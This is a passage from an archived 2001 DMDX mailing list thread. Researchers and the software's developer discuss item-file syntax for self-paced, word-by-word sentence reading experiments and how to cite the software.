drivers for it will fix it, especially seeing as I bundled up DMDX and a demo item file demonstrating the error. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The faults of the burglar are the qualities of the financier. - George Bernard Shaw (1856-1950) Major Barbara, 1907 >From DMDX-owner@psy1.psych.arizona.edu Thu Jan 18 21:11:53 2001 Received: from mta01.mail.mel.aone.net.au (mta01.mail.au.uu.net [203.2.192.81]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id VAA04859 for ; Thu, 18 Jan 2001 21:11:06 -0700 Received: from hal ([203.38.172.91]) by mta01.mail.mel.aone.net.au with SMTP id <20010119041059.UKKS2359.mta01.mail.mel.aone.net.au@hal> for ; Fri, 19 Jan 2001 15:10:59 +1100 From: ""Benjamin Grindlay"" To: ""DMDX"" Subject: [DMDX] Sentence Zoning Date: Fri, 19 Jan 2001 14:45:44 +1030 Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=""----=_NextPart_000_0006_01C08226.80D22E00"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. ------=_NextPart_000_0006_01C08226.80D22E00 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Greetings! I hope that someone will be able to help me out. Essentially what I want to do is present a self-paced sentence in zones, each appearing sequentially (to the right) after a key press and staying on the screen until the subject finishes the reading the complete sentence. I need to get a RT for each zone (an overall one would be a bonus also)... an example sentence is as follows (dashes separate zones): - After the audience - had applauded - the actors - took a break. Each zone would need to be on the screen until the whole sentence was read (to allow possible backtracking), but not be 'disjointed' in terms of sentence presentation. Is this possible with DMDX? If so, would someone be able to tell me the code for doing this? It would be greatly appreciated. Warm Regards. Benjamin Grindlay Department of Psychology The University of Adelaide bjgrindl@psychology.adelaide.edu.au 0413 487 576 ------------------------------------------------ I am a kind of paranoiac in reverse. I suspect people of plotting to make me happy. -J.D. Salinger >From DMDX-owner@psy1.psych.arizona.edu Thu Jan 18 22:23:49 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id WAA05013 for ; Thu, 18 Jan 2001 22:23:39 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.56) by phobos.email.Arizona.EDU (5.1.056) id 3A627C0B0005AB2A for DMDX@psy1.psych.arizona.edu; Thu, 18 Jan 2001 22:23:39 -0700 Message-Id: <5.0.2.1.2.20010118220307.009efd70@psy1.psych.arizona.edu> Date: Thu, 18 Jan 2001 22:23:25 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Sentence Zoning In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 02:45 PM 1/19/01 +1030, you wrote: >Greetings! > >I hope that someone will be able to help me out. Essentially what I want to >do is present a self-paced sentence in zones, each appearing sequentially >(to the right) after a key press and staying on the screen until the subject >finishes the reading the complete sentence. I need to get a RT for each zone >(an overall one would be a bonus also)... an example sentence is as follows >(dashes separate zones): > >- After the audience - had applauded - the actors - took a break. > >Each zone would need to be on the screen until the whole sentence was read >(to allow possible backtracking), but not be 'disjointed' in terms of >sentence presentation. > >Is this possible with DMDX? If so, would someone be able to tell me the code >for doing this? It would be greatly appreciated. You want the keyword combined with the dreaded MDSP bit. Your item file needs to be something like the following: F30 100 + ""After the audience"" / ! + "" had applauded"" / ! + "" the actors"" / ! + "" took a break""; Best to look at Ken's DMTG and DM documentation on how RC is to be used: http://www.u.arizona.edu/~kforster/dmastr/dm_dmtg.htm Basically the example will stop after each frame and gather a response producing results for items 100, 101, 102 and 103. Can't remember if a CR indicator needs to go before the item number and there's probably ten other things I'm not remembering either but DM or DMDX syntax should work in DMDX so check the old documentation. Other interesting keywords to use in addition use would be or if you do actually want feedback. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The faults of the burglar are the qualities of the financier. - George Bernard Shaw (1856-1950) Major Barbara, 1907 >From DMDX-owner@psy1.psych.arizona.edu Sun Jan 21 19:01:17 2001 Received: from mta03.mail.mel.aone.net.au (mta03.mail.au.uu.net [203.2.192.83]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id SAA12388 for ; Sun, 21 Jan 2001 18:59:00 -0700 Received: from hal ([203.38.172.149]) by mta03.mail.mel.aone.net.au with SMTP id <20010122015851.QGCH19418.mta03.mail.mel.aone.net.au@hal> for ; Mon, 22 Jan 2001 12:58:51 +1100 From: ""Benjamin Grindlay"" To: Subject: [DMDX] RE: Re: Sentence Zoning Date: Mon, 22 Jan 2001 12:33:42 +1030 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit In-Reply-To: <5.0.2.1.2.20010118220307.009efd70@psy1.psych.arizona.edu> Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Thanks Jonathon. After a bit of searching and mucking around, I am pretty sure I got DMDX to do what I needed (except for the 'total time' for each sentence). If anyone is interested for future experiments the syntax looks like this: N3 100 + ! + * ""After the audience"" / ! + * "" had applauded"" / ! + * "" the actors"" / ! + * "" took a break""; 0 ""Press spacebar for next sentence"" E; 200 + ! + * ""The foreigner"" E / ! + * "" told the joke"" / ! + * "" didn't understand""; 0 ""Press spacebar for next sentence"" E; 300 + ! + * ""While the mother dressed"" E/ ! + * "" the baby"" / ! + * "" played unsupervised""; 0 LB ""End of experiment""; Kind Regards, Ben. > -----Original Message----- > From: DMDX-owner@psy1.psych.arizona.edu > [mailto:DMDX-owner@psy1.psych.arizona.edu]On Behalf Of j.c.f. > Sent: Friday, 19 January 2001 3:53 > To: DMDX@psy1.psych.arizona.edu > Subject: [DMDX] Re: Sentence Zoning > > > At 02:45 PM 1/19/01 +1030, you wrote: > >Greetings! > > > >I hope that someone will be able to help me out. Essentially > what I want to > >do is present a self-paced sentence in zones, each appearing sequentially > >(to the right) after a key press and staying on the screen until > the subject > >finishes the reading the complete sentence. I need to get a RT > for each zone > >(an overall one would be a bonus also)... an example sentence is > as follows > >(dashes separate zones): > > > >- After the audience - had applauded - the actors - took a break. > > > >Each zone would need to be on the screen until the whole > sentence was read > >(to allow possible backtracking), but not be 'disjointed' in terms of > >sentence presentation. > > > >Is this possible with DMDX? If so, would someone be able to tell > me the code > >for doing this? It would be greatly appreciated. > > You want the keyword combined with the dreaded > MDSP bit. Your item file needs to be something like > the following: > > F30 > 100 + ""After the audience"" / > ! + "" had applauded"" / > ! + "" the actors"" / > ! + "" took a break""; > > > Best to look at Ken's DMTG and DM documentation on how RC is > to be used: > > http://www.u.arizona.edu/~kforster/dmastr/dm_dmtg.htm > > Basically the example will stop after each frame and gather a response > producing results for items 100, 101, 102 and 103. Can't > remember if a CR > indicator needs to go before the item number and there's probably > ten other > things I'm not remembering either but DM or DMDX syntax should > work in DMDX > so check the old documentation. Other interesting keywords to use in > addition use would be or if you do > actually want feedback. > > > -jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > > The faults of the burglar are the qualities of the financier. > - George Bernard Shaw (1856-1950) > Major Barbara, 1907 > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > >From DMDX-owner@psy1.psych.arizona.edu Mon Jan 22 09:38:07 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA14075 for ; Mon, 22 Jan 2001 09:37:54 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.56) by phobos.email.Arizona.EDU (5.1.056) id 3A627C0B0008A197 for DMDX@psy1.psych.arizona.edu; Mon, 22 Jan 2001 09:37:53 -0700 Message-Id: <5.0.2.1.2.20010122092740.009f2060@psy1.psych.arizona.edu> Date: Mon, 22 Jan 2001 09:37:55 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] RE: Re: Sentence Zoning In-Reply-To: References: <5.0.2.1.2.20010118220307.009efd70@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 12:33 PM 1/22/01 +1030, you wrote: Good going. Not to be too picky but seeing as you posted this to the list there are three things I notice. First is that with Response Contingent displays I don't think clockon's are necessary, the Correct Response indicator (+) is taken as a clockon. Second, those E's are only required because you've got No Erase switches (!) where they shouldn't be, E is a last resort when something is broken, if an item file has to use them then DMDX needs to be fixed. Third, you don't need two CRs in the first frame, I suspect you're item file could become: N3 100 + ""After the audience"" / ! + "" had applauded"" / ! + "" the actors"" / ! + "" took a break""; 0 ""Press spacebar for next sentence""; 200 + ""The foreigner"" / ! + "" told the joke"" / ! + "" didn't understand""; 0 ""Press spacebar for next sentence""; 300 + ""While the mother dressed"" / ! + "" the baby"" / ! + "" played unsupervised""; 0 LB ""End of experiment""; >Thanks Jonathon. After a bit of searching and mucking around, I am pretty >sure I got DMDX to do what I needed (except for the 'total time' for each >sentence). If anyone is interested for future experiments the syntax looks >like this: > >N3 255255255> > >100 + > ! + * ""After the audience"" / > ! + * "" had applauded"" / > ! + * "" the actors"" / > ! + * "" took a break""; > >0 ""Press spacebar for next sentence"" E; > >200 + > ! + * ""The foreigner"" E / > ! + * "" told the joke"" / > ! + * "" didn't understand""; > >0 ""Press spacebar for next sentence"" E; > >300 + > ! + * ""While the mother dressed"" E/ > ! + * "" the baby"" / > ! + * "" played unsupervised""; > >0 LB ""End of experiment""; > >Kind Regards, > >Ben. > > > > > -----Original Message----- > > From: DMDX-owner@psy1.psych.arizona.edu > > [mailto:DMDX-owner@psy1.psych.arizona.edu]On Behalf Of j.c.f. > > Sent: Friday, 19 January 2001 3:53 > > To: DMDX@psy1.psych.arizona.edu > > Subject: [DMDX] Re: Sentence Zoning > > > > > > At 02:45 PM 1/19/01 +1030, you wrote: > > >Greetings! > > > > > >I hope that someone will be able to help me out. Essentially > > what I want to > > >do is present a self-paced sentence in zones, each appearing sequentially > > >(to the right) after a key press and staying on the screen until > > the subject > > >finishes the reading the complete sentence. I need to get a RT > > for each zone > > >(an overall one would be a bonus also)... an example sentence is > > as follows > > >(dashes separate zones): > > > > > >- After the audience - had applauded - the actors - took a break. > > > > > >Each zone would need to be on the screen until the whole > > sentence was read > > >(to allow possible backtracking), but not be 'disjointed' in terms of > > >sentence presentation. > > > > > >Is this possible with DMDX? If so, would someone be able to tell > > me the code > > >for doing this? It would be greatly appreciated. > > > > You want the keyword combined with the dreaded > > MDSP bit. Your item file needs to be something like > > the following: > > > > F30 > > 100 + ""After the audience"" / > > ! + "" had applauded"" / > > ! + "" the actors"" / > > ! + "" took a break""; > > > > > > Best to look at Ken's DMTG and DM documentation on how RC is > > to be used: > > > > http://www.u.arizona.edu/~kforster/dmastr/dm_dmtg.htm > > > > Basically the example will stop after each frame and gather a response > > producing results for items 100, 101, 102 and 103. Can't > > remember if a CR > > indicator needs to go before the item number and there's probably > > ten other > > things I'm not remembering either but DM or DMDX syntax should > > work in DMDX > > so check the old documentation. Other interesting keywords to use in > > addition use would be or if you do > > actually want feedback. > > > > > > -jonathan (j.c.f.) > > > > /""\\ > > \\ / > > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > > / \\ > > > > The faults of the burglar are the qualities of the financier. > > - George Bernard Shaw (1856-1950) > > Major Barbara, 1907 > > > > > > ==================================================================== > > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > > 'unsubscribe' by itself with no quotes in the body of the email > > to be removed from the list. The list archive is available here: > > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > > ==================================================================== > > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The faults of the burglar are the qualities of the financier. - George Bernard Shaw (1856-1950) Major Barbara, 1907 >From DMDX-owner@psy1.psych.arizona.edu Mon Jan 22 16:34:58 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id QAA14983 for ; Mon, 22 Jan 2001 16:34:49 -0700 Received: from Clay.psychiatry.arizona.edu (128.196.8.53) by phobos.email.Arizona.EDU (5.1.056) id 3A627C0B000978B5 for DMDX@psy1.psych.arizona.edu; Mon, 22 Jan 2001 16:34:48 -0700 Message-Id: <3.0.5.32.20010122163524.007f77d0@cfort.inbox.email.arizona.edu> Date: Mon, 22 Jan 2001 16:35:24 -0700 To: DMDX@psy1.psych.arizona.edu From: ""C.L. Fort"" Subject: [DMDX] citing DMDX In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Is the following still the appropriate way to cite DMDX? ""The experiment was run using the DMDX software developed at Monash University and at the University of Arizona by K.I.Forster and J.C.Forster."" I checked the website and found nothing more recent than June of 2000 on this topic, so assumed this to be correct. Thanks much. Clay ________________________ C.L. Fort Dept. of Psychiatry University of Arizona P.O. Box 245002 Tucson, AZ 85724-5002 Voice: (520) 626-2915 Fax: (520) 626-2004 cfort@u.arizona.edu >From DMDX-owner@psy1.psych.arizona.edu Mon Jan 22 18:28:52 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id SAA15233 for ; Mon, 22 Jan 2001 18:28:45 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.56) by deimos.email.Arizona.EDU (5.1.056) id 3A66135E00060A33 for DMDX@psy1.psych.arizona.edu; Mon, 22 Jan 2001 18:28:44 -0700 Message-Id: <5.0.2.1.2.20010122182554.009f2910@psy1.psych.arizona.edu> Date: Mon, 22 Jan 2001 18:28:46 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: citing DMDX In-Reply-To: <3.0.5.32.20010122163524.007f77d0@cfort.inbox.email.arizona .edu> References: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 04:35 PM 1/22/01 -0700, you wrote: >Is the following still the appropriate way to cite DMDX? > >""The experiment was run using the DMDX software developed at Monash >University and at the University of Arizona by K.I.Forster and J.C.Forster."" > >I checked the website and found nothing more recent than June of 2000 on >this topic, so assumed this to be correct. It is correct. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The faults of the burglar are the qualities of the financier. - George Bernard Shaw (1856-1950) Major Barbara, 1907 >From DMDX-owner@psy1.psych.arizona.edu Mon Jan 22 21:37:00 2001 Received: from mta02.mail.mel.aone.net.au (mta02.mail.au.uu.net [203.2.192.82]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id VAA15677 for ; Mon, 22 Jan 2001 21:36:41 -0700 Received: from hal ([203.38.173.67]) by mta02.mail.mel.aone.net.au with SMTP id <20010123043637.JYZZ26092.mta02.mail.mel.aone.net.au@hal> for ; Tue, 23 Jan 2001 15:36:37 +1100 From: ""Benjamin Grindlay"" To: Subject: [DMDX] RE: RE: Re: Sentence Zoning Date: Tue, 23 Jan 2001 15:11:53 +1030 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit In-Reply-To: <5.0.2.1.2.20010122092740.009f2060@psy1.psych.arizona.edu> Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Thanks Jonathon. However, the script you gave me (for whatever reasons) I can't seem to get to work properly. Firstly, after the first sentence is complete, it won't move on to ""Press spacebar..."". Also, without the clockon's, I have found that the saved data is 'one short' - instead of RT's for 100, 101, 102, 103, I only get 100, 101, 102... not sure why... well, actually, I am pretty sure it is because my skill with DMDX is pretty lame. I'll keep trying. Cheers. > -----Original Message----- > From: DMDX-owner@psy1.psych.arizona.edu > [mailto:DMDX-owner@psy1.psych.arizona.edu]On Behalf Of j.c.f. > Sent: Tuesday, 23 January 2001 3:08 > To: DMDX@psy1.psych.arizona.edu > Subject: [DMDX] RE: Re: Sentence Zoning > > > At 12:33 PM 1/22/01 +1030, you wrote: > > Good going. Not to be too picky but seeing as you posted this to the > list there are three things I notice. First is that with Response > Contingent displays I don't think clockon's are necessary, the Correct > Response indicator (+) is taken as a clockon. Second, those E's are only > required because you've got No Erase switches (!) where they > shouldn't be, > E is a last resort when something is broken, if an item file has to use > them then DMDX needs to be fixed. Third, you don't need two CRs in the > first frame, I suspect you're item file could become: > > > N3 255255255> > > 100 > + ""After the audience"" / > ! + "" had applauded"" / > ! + "" the actors"" / > ! + "" took a break""; > > 0 ""Press spacebar for next sentence""; > > 200 > + ""The foreigner"" / > ! + "" told the joke"" / > ! + "" didn't understand""; > > 0 ""Press spacebar for next sentence""; > > 300 > + ""While the mother dressed"" / > ! + "" the baby"" / > ! + "" played unsupervised""; > > 0 LB ""End of experiment""; > > >Thanks Jonathon. After a bit of searching and mucking around, I am pretty > >sure I got DMDX to do what I needed (except for the 'total time' for each > >sentence). If anyone is interested for future experiments the > syntax looks > >like this: > > > >N3 >255255255> > > > >100 + > > ! + * ""After the audience"" / > > ! + * "" had applauded"" / > > ! + * "" the actors"" / > > ! + * "" took a break""; > > > >0 ""Press spacebar for next sentence"" E; > > > >200 + > > ! + * ""The foreigner"" E / > > ! + * "" told the joke"" / > > ! + * "" didn't understand""; > > > >0 ""Press spacebar for next sentence"" E; > > > >300 + > > ! + * ""While the mother dressed"" E/ > > ! + * "" the baby"" / > > ! + * "" played unsupervised""; > > > >0 LB ""End of experiment""; > > > >Kind Regards, > > > >Ben. > > > > > > > > > -----Original Message----- > > > From: DMDX-owner@psy1.psych.arizona.edu > > > [mailto:DMDX-owner@psy1.psych.arizona.edu]On Behalf Of j.c.f. > > > Sent: Friday, 19 January 2001 3:53 > > > To: DMDX@psy1.psych.arizona.edu > > > Subject: [DMDX] Re: Sentence Zoning > > > > > > > > > At 02:45 PM 1/19/01 +1030, you wrote: > > > >Greetings! > > > > > > > >I hope that someone will be able to help me out. Essentially > > > what I want to > > > >do is present a self-paced sentence in zones, each appearing > sequentially > > > >(to the right) after a key press and staying on the screen until > > > the subject > > > >finishes the reading the complete sentence. I need to get a RT > > > for each zone > > > >(an overall one would be a bonus also)... an example sentence is > > > as follows > > > >(dashes separate zones): > > > > > > > >- After the audience - had applauded - the actors - took a break. > > > > > > > >Each zone would need to be on the screen until the whole > > > sentence was read > > > >(to allow possible backtracking), but not be 'disjointed' in terms of > > > >sentence presentation. > > > > > > > >Is this possible with DMDX? If so, would someone be able to tell > > > me the code > > > >for doing this? It would be greatly appreciated. > > > > > > You want the keyword combined with the dreaded > > > MDSP bit. Your item file needs to be > something like > > > the following: > > > > > > F30 > > > 100 + ""After the audience"" / > > > ! + "" had applauded"" / > > > ! + "" the actors"" / > > > ! + "" took a break""; > > > > > > > > > Best to look at Ken's DMTG and DM documentation on how RC is > > > to be used: > > > > > > http://www.u.arizona.edu/~kforster/dmastr/dm_dmtg.htm > > > > > > Basically the example will stop after each frame and > gather a response > > > producing results for items 100, 101, 102 and 103. Can't > > > remember if a CR > > > indicator needs to go before the item number and there's probably > > > ten other > > > things I'm not remembering either but DM or DMDX syntax should > > > work in DMDX > > > so check the old documentation. Other interesting keywords to use in > > > addition use would be or if you do > > > actually want feedback. > > > > > > > > > -jonathan (j.c.f.) > > > > > > /""\\ > > > \\ / > > > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > > > / \\ > > > > > > The faults of the burglar are the qualities of the financier. > > > - George Bernard Shaw (1856-1950) > > > Major Barbara, 1907 > > > > > > > > > ==================================================================== > > > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > > > 'unsubscribe' by itself with no quotes in the body of the email > > > to be removed from the list. The list archive is available here: > > > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > > > ==================================================================== > > > > > > >==================================================================== > > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > > 'unsubscribe' by itself with no quotes in the body of the email > > to be removed from the list. The list archive is available here: > > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > >==================================================================== > > > -jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > > The faults of the burglar are the qualities of the financier. > - George Bernard Shaw (1856-1950) > Major Barbara, 1907 > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > >From DMDX-owner@psy1.psych.arizona.edu Tue Jan 23 09:33:57 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA17058 for ; Tue, 23 Jan 2001 09:33:41 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.56) by deimos.email.Arizona.EDU (5.1.056) id 3A66135E0006C2D5; Tue, 23 Jan 2001 09:33:40 -0700 Message-Id: <5.0.2.1.2.20010123092600.009e5110@psy1.psych.arizona.edu> Date: Tue, 23 Jan 2001 09:33:40 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] RE: RE: Re: Sentence Zoning In-Reply-To: References: <5.0.2.1.2.20010122092740.009f2060@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 03:11 PM 1/23/01 +1030, you wrote: >Thanks Jonathon. However, the script you gave me (for whatever reasons) I >can't seem to get to work properly. Firstly, after the first sentence is >complete, it won't move on to ""Press spacebar..."". Also, without the >clockon's, I have found that the saved data is 'one short' - instead of RT's >for 100, 101, 102, 103, I only get 100, 101, 102... not sure why... well, >actually, I am pretty sure it is because my skill with DMDX is pretty lame. > >I'll keep trying. Cheers. Don't bother, if you've got it working and there are a few extraneous switches it doesn't matter, I was just posting for sake of technical correctness. In any event the state of Response Contingency under DMDX is such that the clockon situation you describe is more than likely a hole in the code. Because RC is a such a horrible kludge I am not thinking of it as I design new things for DMDX so it gets broken and then someone (like Wayne Murray) reminds me of it and I'm saying ""oh, yeah, RC... I forgot, again, oops"". One day I'll write a across items and make the mode no longer supported, I don't get around to it because no one is using word by word reading tasks around here. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Hokey religions and ancient weapons are no substitute for a good blaster at your side. - Han Solo >From DMDX-owner@psy1.psych.arizona.edu Tue Jan 23 10:05:40 2001 Received: from pp.dundee.ac.uk (pp.dundee.ac.uk [134.36.2.60]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA17174 for ; Tue, 23 Jan 2001 10:05:32 -0700 Received: from psychology.dundee.ac.uk ([134.36.104.15]) by pp.dundee.ac.uk with esmtp (Exim 3.16 #2) id 14L6st-0004PA-00 for DMDX@psy1.psych.arizona.edu; Tue, 23 Jan 2001 17:05:31 +0000 Received: from PSYCH/SpoolDir by psychology.dundee.ac.uk (Mercury 1.48); 23 Jan 01 17:05:31 +0000 Received: from SpoolDir by PSYCH (Mercury 1.48); 23 Jan 01 17:05:27 +0000 From: ""Wayne Murray"" To: DMDX@psy1.psych.arizona.edu Date: Tue, 23 Jan 2001 17:05:25 GMT MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: [DMDX] RE: RE: Re: Sentence Zoning Message-ID: <3A6DB9DC.4683.6D0ADDB@localhost> In-reply-to: <5.0.2.1.2.20010123092600.009e5110@psy1.psych.arizona.edu> References: Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Jonathon wrote: > Because RC is a such a horrible kludge I am not thinking of it as > I design new things for DMDX so it gets broken and then someone > (like Wayne Murray) reminds me of it and I'm saying ""oh, yeah, > RC... I forgot, again, oops"". True, but does it have to be a kludge (as I said elsewhere)? > One day I'll write a across items and make > the mode no longer supported, Sounds good, provided it always gets the next item up in the minimum possible time after the response (some types of SP reading only seem to work if there is a very tight apparent coupling between the response and the next display) and it is possible to keep variable numbers of items together in a scramble - since this is often used with sentences of variable length across an expt. > I don't get around to it because no one is using word by word > reading tasks around here. Not quite true - or at least people there USED to want to do it! It is, however, undoubtedly something that many many people would like to be able to use DMDX for. Wayne ------------------------------------------------------------------------- From: Wayne Murray Email: w.s.murray@dundee.ac.uk Department of Psychology Phone: (+44) (1382) 344620 (direct) University of Dundee Or: (+44) (1382) 344623 (messages) Scotland DD1 4HN Fax: (+44) (1382) 229993 ------------------------------------------------------------------------- >From DMDX-owner@psy1.psych.arizona.edu Tue Jan 23 11:40:57 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA17433 for ; Tue, 23 Jan 2001 11:40:51 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (5.1.056) id 3A66135E00070072 for DMDX@psy1.psych.arizona.edu; Tue, 23 Jan 2001 11:40:50 -0700 Message-Id: <5.0.2.1.2.20010123113619.009ec960@psy1.psych.arizona.edu> Date: Tue, 23 Jan 2001 11:40:46 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: Sentence Zoning In-Reply-To: <3A6DB9DC.4683.6D0ADDB@localhost> References: <5.0.2.1.2.20010123092600.009e5110@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 05:05 PM 1/23/01 +0000, you wrote: >Jonathon wrote: > > > Because RC is a such a horrible kludge I am not thinking of it as > > I design new things for DMDX so it gets broken and then someone > > (like Wayne Murray) reminds me of it and I'm saying ""oh, yeah, > > RC... I forgot, again, oops"". > >True, but does it have to be a kludge (as I said elsewhere)? Yes, it breaks fundamental DMDX design rules. > > One day I'll write a across items and make > > the mode no longer supported, > >Sounds good, provided it always gets the next item up in the >minimum possible time after the response (some types of SP >reading only seem to work if there is a very tight apparent coupling >between the response and the next display) and it is possible to >keep variable numbers of items together in a scramble - since this >is often used with sentences of variable length across an expt. > > > I don't get around to it because no one is using word by word > > reading tasks around here. > >Not quite true - or at least people there USED to want to do it! It >is, however, undoubtedly something that many many people would >like to be able to use DMDX for. Ok, today I write the necessary keywords to do away with RC in a single item. I'll leave existing RC as it stands but it will be legacy code, if someone has problems with it then they'll be told to use the new stuff coming in a few hours. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The road to hell is paved with NAND gates. >From DMDX-owner@psy1.psych.arizona.edu Tue Jan 23 15:17:34 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id PAA17989 for ; Tue, 23 Jan 2001 15:16:58 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (5.1.056) id 3A66135E00076335 for DMDX@psy1.psych.arizona.edu; Tue, 23 Jan 2001 15:16:57 -0700 Message-Id: <5.0.2.1.2.20010123142852.009e70a0@psy1.psych.arizona.edu> Date: Tue, 23 Jan 2001 15:17:00 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] 2.3.05 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list So 2.3.05 addresses these long standing issues with Response Contingency with the addition of one simple keyword: This keyword is used for word by word sentence reading tasks replacing the need to use the Response Contingency keyword. This keyword allows to be used across items, where the first item uses and following items that need to continue spacing where the previous item finished use . Both and only need be used once at the beginning of an item. For example, the old form of word by word sentence reading would be: 1 + ""hickory "" / - ! ""dickory "" / + ! ""dock "" / + ! ""the "" / + ! ""mouse "" / + ! ""ran ""/ + ! ""up ""/ + ! ""the "" / + ! ""clock""; This would produce responses for items 1 to 9. The new form, while more expansive sticks to standard constructs and explicitly shows which frame produces which RT: +1 * ""hickory ""; -2 * ! ""dickory ""; +3 * ! ""dock ""; +4 * ! ""the ""; +5 * ! ""mouse ""; +6 * ! ""ran ""; +7 * ! ""up ""; +8 * ! ""the""; +9 * ! ""clock""; Other keywords that are likely to be used in conjunction 